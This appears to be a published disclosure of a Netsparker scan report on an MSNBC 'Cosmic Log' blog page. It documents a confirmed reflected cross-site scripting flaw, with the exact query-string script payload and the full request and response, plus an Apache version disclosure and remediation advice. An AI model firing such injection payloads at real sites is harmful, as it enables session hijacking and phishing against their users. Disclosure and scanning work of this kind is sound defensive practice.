Phishing, Insecure Configuration, XSS, Cross Site Scripting in http://cosmiclog.msnbc.msn.com/_news/2011/01/31/5962284-jerusalem-videos-stir-ufo-buzz, CWE-79, CAPEC-86, DORK, GHDB Report

Reported to MSRC on April 25, 2011 and reported as resolved in November 11, 2011 | 11263nj

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Netsparker - Scan Report Summary
TARGET URL
 http://cosmiclog.msnbc.msn.com/_news/2011/01/...
SCAN DATE
 4/24/2011 7:57:50 AM
REPORT DATE
 4/24/2011 8:26:21 AM
SCAN DURATION
 00:01

Total Requests

1

Average Speed

1 req/sec.
3
identified
1
confirmed
0
critical
1
informational

DORK SETTINGS

Scan Settings
PROFILE
 Previous Settings
DORK TESTS
 Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
33 %
LOW
33 %
INFORMATION
33 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/_news/2011/01/31/5962284-jerusalem-videos-stir-ufo-buzz Query Based QUERYSTRING Cross-site Scripting Yes
Apache Version Disclosure No
E-mail Address Disclosure No
Cross-site Scripting

Cross-site Scripting
1 TOTAL
IMPORTANT
CONFIRMED
1
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /_news/2011/01/31/5962284-jerusalem-videos-stir-ufo-buzz

/_news/2011/01/31/5962284-jerusalem-videos-stir-ufo-buzz CONFIRMED

http://cosmiclog.msnbc.msn.com/_news/2011/01/31/5962284-jerusalem-videos-stir-ufo-buzz?'"--></style>..

Parameters

Parameter Type Value
Query Based QUERYSTRING '"--></style></script><script>alert(0x000025)</script>

Request

GET /_news/2011/01/31/5962284-jerusalem-videos-stir-ufo-buzz?'"--></style></script><script>netsparker(0x000025)</script> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: cosmiclog.msnbc.msn.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Server: Apache/2.2.9 (Debian)
TCN: choice
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Type: text/html
Content-Encoding:
Cache-Control: max-age=300
Date: Sun, 24 Apr 2011 13:06:06 GMT
Transfer-Encoding: chunked
Connection: keep-alive,Transfer-Encoding
Vary: Accept-Encoding


<!DOCTYPE HTML><html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=8;IE=9" /> <title>Cosmic Log - Jerusalem videos stir UFO buzz</title><meta name="title" content="Cosmic Log - Jerusalem videos stir UFO buzz" /><meta name="description" content="As dark UFO videos go, this clip showing flashing lights over Jerusalem is certainly a puzzler. A bright speck seems to descend toward the skyline, around the location of the Dome of the Rock (also known as the Temple Mount)." /><meta name="author" content="Alan Boyle" /><meta name="google-site-verification" content="GntNDIbCzd8DIeerJ7EWBobHymsMjuH5VquPUmgN19M" /><meta name="viewport" content="width = 1050" /><meta name="server" content="web6" /><meta name="cip" content="24.143.206.93" /><meta name="date" content="April 24, 2011, 6:06 am" /><meta name="userDomain" content="" /><meta name="contentId" content="5962284" /><meta property="og:image" content="http://msnbcmedia.msn.com/j/MSNBC/Components/Video/110131/a_tdy_brown_ufo_110131.thumb.jpg" /><meta property="og:url" content="http://cosmiclog.msnbc.msn.com/_news/2011/01/31/5962284-jerusalem-videos-stir-ufo-buzz" /><meta property="og:type" content="article" /><meta property="og:site_name" content="Cosmic Log" /><link rel="shortcut icon" href="http://cdn.lib.newsvine.com/chrome/msnbc/images/favicon.ico" type="image/x-icon" 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Apache Version Disclosure

Apache Version Disclosure
1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /_news/2011/01/31/5962284-jerusalem-videos-stir-ufo-buzz

/_news/2011/01/31/5962284-jerusalem-videos-stir-ufo-buzz

http://cosmiclog.msnbc.msn.com/_news/2011/01/31/5962284-jerusalem-videos-stir-ufo-buzz

Extracted Version

2.2.9 (Debian)

Request

GET /_news/2011/01/31/5962284-jerusalem-videos-stir-ufo-buzz HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: cosmiclog.msnbc.msn.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: Apache/2.2.9 (Debian)
TCN: choice
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Type: text/html
Content-Encoding:
Date: Sun, 24 Apr 2011 12:57:47 GMT
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Connection: keep-alive
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<!DOCTYPE HTML><html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="X-UA-Compatible" content="IE=8;IE=9" /> <title>Cosmic Log - Jerusalem videos stir UFO buzz</title><meta name="title" content="Cosmic Log - Jerusalem videos stir UFO buzz" /><meta name="description" content="As dark UFO videos go, this clip showing flashing lights over Jerusalem is certainly a puzzler. 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